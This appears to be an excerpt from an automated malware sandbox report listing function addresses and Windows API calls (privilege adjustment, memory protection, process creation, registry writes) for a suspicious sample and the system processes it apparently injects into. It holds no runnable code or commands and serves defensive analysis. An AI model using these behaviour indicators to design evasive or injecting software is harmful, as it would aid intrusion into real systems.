Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2EA0 NtAdjustPrivilegesToken,	6_2_044C2EA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2F60 NtCreateProcessEx,	6_2_044C2F60
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2F90 NtProtectVirtualMemory,	6_2_044C2F90
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2FA0 NtQuerySection,	6_2_044C2FA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2AB0 NtWaitForSingleObject,	6_2_044C2AB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2B80 NtQueryInformationFile,	6_2_044C2B80
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C3010 NtOpenDirectoryObject,	6_2_044C3010
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C3090 NtSetValueKey,	6_2_044C3090
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C3D70 NtOpenThread,	6_2_044C3D70
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C3D10 NtOpenProcessToken,	6_2_044C3D10
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001F8EC0 NtCreateFile,	6_2_001F8EC0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001F9030 NtReadFile,	6_2_001F9030
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001F9120 NtDeleteFile,	6_2_001F9120
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001F91C0 NtClose,	6_2_001F91C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001F9330 NtAllocateVirtualMemory,	6_2_001F9330

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00434D50

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004461ED

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004364AA

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00409A40	0_2_00409A40
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00412038	0_2_00412038
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0047E1FA	0_2_0047E1FA
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0041A46B	0_2_0041A46B
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0041240C	0_2_0041240C
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004045E0	0_2_004045E0
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00412818	0_2_00412818
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0047CBF0	0_2_0047CBF0
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0044EBBC	0_2_0044EBBC
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00412C38	0_2_00412C38
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0044ED9A	0_2_0044ED9A
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00424F70	0_2_00424F70
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0041AF0D	0_2_0041AF0D
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00427161	0_2_00427161
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004212BE	0_2_004212BE
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00443390	0_2_00443390
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00443391	0_2_00443391
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0041D750	0_2_0041D750
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004037E0	0_2_004037E0
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00427859	0_2_00427859
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0040F890	0_2_0040F890
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0042397B	0_2_0042397B
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00411B63	0_2_00411B63
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00423EBF	0_2_00423EBF
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_03ECD248	0_2_03ECD248
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418443	1_2_00418443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00401270	1_2_00401270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042EA03	1_2_0042EA03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040221C	1_2_0040221C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402220	1_2_00402220
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FCEF	1_2_0040FCEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FCF3	1_2_0040FCF3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402504	1_2_00402504
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402510	1_2_00402510
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004045E4	1_2_004045E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041661E	1_2_0041661E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416623	1_2_00416623
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FF13	1_2_0040FF13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040DF8A	1_2_0040DF8A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040DF93	1_2_0040DF93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402FA0	1_2_00402FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FA352	1_2_032FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E3F0	1_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033003E6	1_2_033003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C02C0	1_2_032C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230100	1_2_03230100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C8158	1_2_032C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F41A2	1_2_032F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033001AA	1_2_033001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F81CC	1_2_032F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03264750	1_2_03264750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323C7C0	1_2_0323C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325C6E0	1_2_0325C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03300591	1_2_03300591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4420	1_2_032E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F2446	1_2_032F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EE4F6	1_2_032EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FAB40	1_2_032FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F6BD7	1_2_032F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03256962	1_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0330A9A6	1_2_0330A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324A840	1_2_0324A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03242840	1_2_03242840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032268B8	1_2_032268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E8F0	1_2_0326E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03282F28	1_2_03282F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03260F30	1_2_03260F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E2F30	1_2_032E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B4F40	1_2_032B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BEFA0	1_2_032BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03232FC8	1_2_03232FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FEE26	1_2_032FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240E59	1_2_03240E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252E90	1_2_03252E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FCE93	1_2_032FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FEEDB	1_2_032FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324AD00	1_2_0324AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DCD1F	1_2_032DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03258DBF	1_2_03258DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323ADE0	1_2_0323ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240C00	1_2_03240C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0CB5	1_2_032E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230CF2	1_2_03230CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F132D	1_2_032F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322D34C	1_2_0322D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0328739A	1_2_0328739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032452A0	1_2_032452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E12ED	1_2_032E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325D2F0	1_2_0325D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325B2C0	1_2_0325B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327516C	1_2_0327516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322F172	1_2_0322F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0330B16B	1_2_0330B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324B1B0	1_2_0324B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F70E9	1_2_032F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FF0E0	1_2_032FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EF0CC	1_2_032EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032470C0	1_2_032470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FF7B0	1_2_032FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03285630	1_2_03285630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F16CC	1_2_032F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F7571	1_2_032F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DD5B0	1_2_032DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FF43F	1_2_032FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03231460	1_2_03231460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFB76	1_2_032FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325FB80	1_2_0325FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B5BF0	1_2_032B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327DBF9	1_2_0327DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B3A6C	1_2_032B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFA49	1_2_032FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F7A46	1_2_032F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DDAAC	1_2_032DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03285AA0	1_2_03285AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E1AA3	1_2_032E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EDAC6	1_2_032EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D5910	1_2_032D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03249950	1_2_03249950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325B950	1_2_0325B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AD800	1_2_032AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032438E0	1_2_032438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFF09	1_2_032FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFFB1	1_2_032FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03241F92	1_2_03241F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03249EB0	1_2_03249EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F7D73	1_2_032F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03243D40	1_2_03243D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F1D5A	1_2_032F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325FDC0	1_2_0325FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B9C32	1_2_032B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFCF2	1_2_032FFCF2
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_02840D5D	5_2_02840D5D
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_02842B0D	5_2_02842B0D
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_02842B09	5_2_02842B09
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_0286181D	5_2_0286181D
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_0284943D	5_2_0284943D
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_02849438	5_2_02849438
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_02840DA4	5_2_02840DA4
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_02840DAD	5_2_02840DAD
Source: C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe	Code function: 5_2_02842D2D	5_2_02842D2D
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04542446	6_2_04542446
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04534420	6_2_04534420
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0453E4F6	6_2_0453E4F6
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04490535	6_2_04490535
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04550591	6_2_04550591
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044AC6E0	6_2_044AC6E0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044B4750	6_2_044B4750
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04490770	6_2_04490770
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0448C7C0	6_2_0448C7C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04522000	6_2_04522000
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04518158	6_2_04518158
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04480100	6_2_04480100
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0452A118	6_2_0452A118
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_045481CC	6_2_045481CC
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_045441A2	6_2_045441A2
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_045501AA	6_2_045501AA
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04530274	6_2_04530274
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_045102C0	6_2_045102C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454A352	6_2_0454A352
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_045503E6	6_2_045503E6
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0449E3F0	6_2_0449E3F0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04490C00	6_2_04490C00
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04480CF2	6_2_04480CF2
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04530CB5	6_2_04530CB5
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0449AD00	6_2_0449AD00
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0452CD1F	6_2_0452CD1F
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0448ADE0	6_2_0448ADE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044A8DBF	6_2_044A8DBF
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04490E59	6_2_04490E59
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454EE26	6_2_0454EE26
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454EEDB	6_2_0454EEDB
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454CE93	6_2_0454CE93
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044A2E90	6_2_044A2E90
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04504F40	6_2_04504F40
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04532F30	6_2_04532F30
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044D2F28	6_2_044D2F28
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044B0F30	6_2_044B0F30
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04482FC8	6_2_04482FC8
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0450EFA0	6_2_0450EFA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0449A840	6_2_0449A840
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04492840	6_2_04492840
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044BE8F0	6_2_044BE8F0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044768B8	6_2_044768B8
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044A6962	6_2_044A6962
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044929A0	6_2_044929A0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0455A9A6	6_2_0455A9A6
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0448EA80	6_2_0448EA80
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454AB40	6_2_0454AB40
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04546BD7	6_2_04546BD7
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04481460	6_2_04481460
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454F43F	6_2_0454F43F
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04547571	6_2_04547571
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0452D5B0	6_2_0452D5B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044D5630	6_2_044D5630
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_045416CC	6_2_045416CC
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454F7B0	6_2_0454F7B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044970C0	6_2_044970C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0453F0CC	6_2_0453F0CC
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454F0E0	6_2_0454F0E0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_045470E9	6_2_045470E9
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C516C	6_2_044C516C
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0447F172	6_2_0447F172
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0455B16B	6_2_0455B16B
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0449B1B0	6_2_0449B1B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044AB2C0	6_2_044AB2C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044AD2F0	6_2_044AD2F0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_045312ED	6_2_045312ED
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044952A0	6_2_044952A0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0447D34C	6_2_0447D34C
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454132D	6_2_0454132D
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044D739A	6_2_044D739A
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04509C32	6_2_04509C32
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454FCF2	6_2_0454FCF2
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04493D40	6_2_04493D40
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04541D5A	6_2_04541D5A
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04547D73	6_2_04547D73
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044AFDC0	6_2_044AFDC0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04499EB0	6_2_04499EB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454FF09	6_2_0454FF09
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04453FD5	6_2_04453FD5
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04453FD2	6_2_04453FD2
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04491F92	6_2_04491F92
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454FFB1	6_2_0454FFB1
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044FD800	6_2_044FD800
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044938E0	6_2_044938E0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04499950	6_2_04499950
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044AB950	6_2_044AB950
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04525910	6_2_04525910
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04547A46	6_2_04547A46
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454FA49	6_2_0454FA49
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04503A6C	6_2_04503A6C
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0453DAC6	6_2_0453DAC6
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044D5AA0	6_2_044D5AA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04531AA3	6_2_04531AA3
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0452DAAC	6_2_0452DAAC
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_0454FB76	6_2_0454FB76
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_04505BF0	6_2_04505BF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044CDBF9	6_2_044CDBF9
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044AFB80	6_2_044AFB80
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E1B80	6_2_001E1B80
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001DCAB0	6_2_001DCAB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001DCAAC	6_2_001DCAAC
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001DCCD0	6_2_001DCCD0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001DAD50	6_2_001DAD50
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001DAD47	6_2_001DAD47
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E5200	6_2_001E5200
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001D13A1	6_2_001D13A1
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E33DB	6_2_001E33DB
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001E33E0	6_2_001E33E0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001FB7C0	6_2_001FB7C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041FE4B5	6_2_041FE4B5
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041FE394	6_2_041FE394
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041FE84C	6_2_041FE84C
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041FD8B8	6_2_041FD8B8
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041FCB3D	6_2_041FCB3D
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_041FCB78	6_2_041FCB78

Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 044D7E54 appears 99 times
Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 0447B970 appears 262 times
Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 044C5130 appears 58 times
Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 0450F290 appears 103 times
Source: C:\Windows\SysWOW64\write.exe	Code function: String function: 044FEA12 appears 86 times
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: String function: 0041718C appears 44 times
